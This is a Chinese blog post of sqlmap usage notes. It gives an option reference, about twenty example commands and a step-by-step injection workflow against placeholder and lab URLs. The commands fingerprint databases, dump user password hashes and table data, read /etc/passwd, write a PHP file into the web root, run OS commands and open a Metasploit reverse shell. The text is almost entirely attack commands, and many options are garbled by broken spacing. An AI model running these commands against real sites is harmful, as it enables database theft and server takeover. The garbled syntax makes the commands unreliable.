SQLMAP使用笔记

https://www.feiyusafe.cn/2019/02/26/sqlmap%e4%b8%aa%e4%ba%ba%e6%80%bb%e7%bb%93/

-u #注入点

-f #指纹判别数据库类型 -b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2 -p "page,id")

-D"" #指定数据库名

-T"" #指定表名 -C"" #指定字段

-s"" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log"

恢复:-s "xx.log" --resume)

--level=(1-5)#要执行的测试水平等级,默认为 1

--risk=(0-3) #测试执行的风险等级,默认为 1

--time-sec=(2,5)#延迟响应,默认为 5

--data#通过 POST 发送数据

--columns #列出字段

--current-user #获取当前用户名称

--current-db #获取当前数据库名称

--users #列数据库所有用户

--passwords #数据库用户所有密码

--privileges #查看用户权限(--privileges -U root)

-U #指定数据库用户

--dbs #列出所有数据库

--tables -D"" #列出指定数据库中的表

--columns -T"user"-D"mysql" #列出 mysql 数据库中的 us er 表的所有字段

- -dump - all #列出所有数据库所有表

--exclude-sysdbs #只列出用户自己新建的数据库和表

--dump -T""-D""- C"" #列出指定数据库的表的字段的数据(--dump -T users -D

master -C surname)

--dump -T""-D""--start 2 --top4 # 列出指定数据库的表的 2-4 字段的数据

--dbms # 指 定 数 据 库 (MySQL,Oracle,PostgreSQL,Microsoft SQL

Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)

--os #指定系统(Linux,Windows)

-v #详细的等级(0-6)

0:只显示 Python 的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。 3:有效载荷注入。

4:显示 HTTP 请求。

5:显示 HTTP 响应头。

6:显示 HTTP 响应页面的内容 --privileges #查看权限

--is-dba #是否是数据库管理员 --roles #枚举数据库用户角色

--udf-inject #导入用户自定义函数(获取系统权限)

--union-check #是否支持 unio n 注入

--union-cols#union 查询表记录

--union-test#union 语句测试

--union-use #采用 unio n 注入

--union-tech orderby#union 配合 order by

--data""#POST 方式提交数据(--data "page=1&id=2")

--cookie" 用 ; 号 分 开 " #cookie 注 入

(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)

--referer"" #使用 referer 欺骗(--referer "http://www.baidu.com")

--user-agent"" #自定义 user-agent

--proxy"http://127.0.0.1:8118"#代理注入

--string="" #指定关键词,字符串匹配.--threads #采用多线程(--threads 3)

--sql-shell #执行指定 sql 命令

--sql-query # 执 行 指 定 的 sql 语 句 (--sql-query "SELECT password FROM

mysql.user WHERE user = 'root' LIMIT 0, 1" )--file-read #读取指定文件

--file -write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;

将本地的 test.txt 文件写入到目标的 1.txt)

--file-dest #要写入的文件绝对路径 --os-cmd=id #执行系统命令

--os-shell #系统交互 shell

--os-pwn #反弹 shell(--os-pwn --msf-path=/opt/framework/msf3/)

--msf-path= #matesploit 绝对路径(--msf-path=/opt/framework/msf3/)

--os-smbrelay #

--os-bof #

--reg-read #读取 win 系统注册表

--priv-esc #

--time-sec= #延迟设置 默认--time-sec=5 为 5 秒

-p"user-agent"--user-agent"sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" # 指 定

user-agent 注入

--eta #盲注

/pentest/database/sqlmap/txt/common-columns.txt 字段字典 common-outputs.txtcommon-tables.txt 表字典 keywords.txt

oracle-default-passwords.txt

user-agents.txt

wordlist.txt

常用语句

1.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db

--users--passwords --dbs -v0

2.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root

--union-use -v2

3.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -Tusers-C username -D

userdb --start 2 --stop 3 -v2

4.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C"user,pass" -v 1

--exclude-sysdbs

5.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v2

6.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read"c:\boot.ini"-v2

7.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write/test/test.txt

--file-dest/var/www/html/1.txt -v2

8.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd"id"-v1

9.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v2

10.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn

--msf-path=/opt/framework/msf3--priv-esc -v1

11.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn

--msf-path=/opt/framework/msf3-v1

12.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof

--msf-path=/opt/framework/msf3-v1

13.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add

--reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap"--reg-value=Test

--reg-type=REG_SZ --reg-data=1

14.

./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta

15.

./sqlmap.py

- u"http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1"-pid--prefix"')"--s

uffix"AND ('abc'='abc"

16.

./sqlmap.py

- u"http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1"--auth-typeBasic

--auth-cred"testuser:testpass"

17.

./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

18.

./sqlmap.py - u"http://192.168.136.131/sqlmap/mysql/get_int.php?id=1"--tamper

tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v3

19.

./sqlmap.py

- u"http://192.168.136.131/sqlmap/mssql/get_int.php?id=1"--sql-query"SELECT

'foo'"-v1

20.

./sqlmap.py -u"http://192.168.136.129/mysql/get_int_4.php?id=1"--common-tables

-D testdb --banner

21.

./sqlmap.py

- u"http://192.168.136.129/mysql/get_int_4.php?id=1"--cookie="PHPSESSID=mvijoc

bglq6pi463rlgk1e4v52; security=low"--string='xx'--dbs --level=3 -p"uid "

简单的注入流程

1.读取数据库版本,当前用户,当前数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v1 2.判断当前数据库用户权限

sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v1

sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.xxxxx.com/test.php?p=2 --users--passwords -v2

sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v2

4.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v2 5.获取指定数据库中的所有表

sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mys ql -v2 6.获取指定数据库名中指定表的字段

sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -Tusers-v2 7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql

-Tusers-C"username,password"-s"sqlnmapdb.log"-v2

8.file-read 读取 web 文件

sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read"/etc/passwd"-v29.file-write 写入文件到 web

sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write/localhost/mm.php

--file-dest/var/www/html/xx.php -v2

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,723评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,485评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,998评论 0 344
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,323评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,355评论 5 374
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,079评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,389评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,019评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,519评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,971评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,100评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,738评论 4 324
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,293评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,289评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,517评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,547评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,834评论 2 345

推荐阅读更多精彩内容